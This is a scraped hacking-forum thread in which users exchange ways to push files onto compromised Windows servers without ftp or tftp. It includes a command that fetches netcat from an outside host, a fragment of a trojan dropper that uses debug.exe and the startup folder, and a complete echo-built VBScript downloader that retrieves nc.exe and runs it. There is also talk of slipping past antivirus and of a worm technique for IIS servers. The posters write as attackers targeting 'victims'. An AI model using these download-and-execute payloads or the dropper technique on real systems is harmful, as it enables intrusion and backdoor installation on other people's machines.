hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

metrox

http://forums.governmentsecurity.org/index...?showtopic=3110


in this topic somebody discuss about different possibilities, to put files on a remote-
server without the typical and very old ftp.exe and tftp.exe.

very interesting is the debug.exe, i searched in google, but i dont find anything
about a script for a webdownloader, ftp and so on.

anybody can help. debug routine for a webdownloader.


greetz
metrox
fluffibunni
i can't understand what do you mean ?
unsure.gif unsure.gif unsure.gif
metrox
yeah smile.gif

i mean, how i can make a webdownloader wiht debug.exe, it´s possible ?
coder
if the system has "get" then you (or at least i do)
CODE
c:\winnt\get http://www.win32h4x0r.net/netcat.exe > c:\winnt\h4x0r_stuff\netcat.exe
metrox
thanks coder, but i have no server find with get. smile.gif

maybe it´s possible to code a script. vbs or other things. ????


Neo_
Shell DOS > Type : debug
Then ?
assemble (assembler) A [adresse]
compare (comparer) C plage adresse
dump (lister) D [plage]
enter (entrer) E adresse [liste]
fill (remplir) F Plage liste
go (exécuter) G [=adresse] [adresses]
hex (hexadécimal) H valeur1 valeur2
input (entrer depuis port) I port
load (charger) L [adresse] [lecteur] [secteur] [nbre]
move (déplacer) M plage adresse
name (désigner) N [nchemin] [listearg]
output (envoyer sur port) O port val
proceed (avancer) P [=adresse] [nbre]
quit (quitter) Q
register (registre) R [registre]
search (rechercher) S plage liste
trace (tracer) T [=adresse] [valeur]
unassemble (désassembler) U [plage]
write (écrire) W [adresse] [lecteur] [secteur] [nbre]
allocate expanded memory (allouer EMS) XA [#pages]
deallocate expanded memory (désallouer EMS) XD [desc]
map expanded memory pages (affecter) XM [pageL] [pageP] [desc]
display expanded memory status (état EMS) XS


It's not for download !!!
DarkGhost
yes i think it s possible smile.gif ... with :

- assemble (assembler) A [adresse]
or maybe ...
- hex (hexadécimal) H valeur1 valeur2



extrait code source :

// Rename .com to .exe because debug cannot output the .exe file extension!
...
...

+"c:\\windows\\command\\debug.exe <c:\\windows\\startm~1\\programs\\startup\\trojan.bat>nul"+chr(13)+chr(10)
+"cd\\"+chr(13)+chr(10)
+"ren trojan.com trojan.exe"+chr(13)+chr(10)
+"goto end"+chr(13)+chr(10)
+"n c:\\trojan.com"+chr(13)+chr(10)
+"a 100"+chr(13)+chr(10)
+"db 4D,5A,44,01,05,00,02,00,20,00,21,00,FF,FF,75,00,00,02,00,00,99,00,00,00"+chr(13)+chr(10)
etc etc etc ......

smile.gif
metrox
hmmm. not very easy, i dont understand that. but thx for your help.
a possibilitie also is, you convert exe2vbs. but antivirus-progs find that.
boshcash
well u can see all types of text files that can be executed , and search for the default executable txt files like vbs , hta , js , and maybe one of these wont be detected , also the GET command can be used when the victim is installing the perl interpreter on windows ..
NiteWorM
QUOTE
echo Dim DataBin >dl.vbs
echo Dim HTTPGET >>dl.vbs
echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP") >>dl.vbs
echo HTTPGET.Open "GET", "http://www.niteworm.com/nc.exe", False>>dl.vbs
echo HTTPGET.Send >>dl.vbs
echo DataBin = HTTPGET.ResponseBody >>dl.vbs
echo Const adTypeBinary=1 >>dl.vbs
echo Const adSaveCreateOverWrite=2 >>dl.vbs
echo Dim test1 >>dl.vbs
echo Set test1 = CreateObject("ADODB.Stream") >>dl.vbs
echo test1.Type = adTypeBinary >>dl.vbs
echo test1.Open >>dl.vbs
echo test1.Write DataBin >>dl.vbs
echo test1.SaveToFile "file.exe", adSaveCreateOverWrite >>dl.vbs
dl.vbs
file.exe

that was taken from another part of the board just echo it into a shell prompt and it will download the file and save it as file.exe to the current directory ur in works for me no need for tftp tongue.gif
violator13
i once read something about debug and how to use it to upload files.. i think debug can only create .com files (=DOS) so theres no way to upload a backdoor or sth similar using debug :)
here's what i found:

http://29a.host.sk/29a-6/29a-6.221

29a is a virii group, for those of you who don't know ;>

i don't know when this text was written... and i never tried the technique described ther e *g* but it should work.
the concept is simple but it requires a small amount of work.. if one could do this automated, it would be okay i think

concept:
the code for an uudecode.com is uploaded via the echo command.
this code is then assembled with debug.com.
now the uuencoded .exe file is uploaded via echo.
and finally.. this file is uudecoded by uudecode.com :)

the text describes how a worm could infect IIS servers.. but it's still a very nice idea :)

greetz

violator
zero-maitimax
QUOTE (violator13 @ Jan 20 2004, 10:12 PM)
i once read something about debug and how to use it to upload files.. i think debug can only create .com files (=DOS) so theres no way to upload a backdoor or sth similar using debug smile.gif
here's what i found:

http://29a.host.sk/29a-6/29a-6.221

29a is a virii group, for those of you who don't know ;>

i don't know when this text was written... and i never tried the technique described ther e *g* but it should work.
the concept is simple but it requires a small amount of work.. if one could do this automated, it would be okay i think

concept:
the code for an uudecode.com is uploaded via the echo command.
this code is then assembled with debug.com.
now the uuencoded .exe file is uploaded via echo.
and finally.. this file is uudecoded by uudecode.com smile.gif

the text describes how a worm could infect IIS servers.. but it's still a very nice idea smile.gif

greetz

violator

offtopic

i know the group en i talk a lot with them.. not al the info that are in there is very usefull.. i mean vb made vx tool but it still has bugs in it some time's it remove files that you don't want to be removed...

but ratter he does made very good rootkit. so..


/offtopic
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.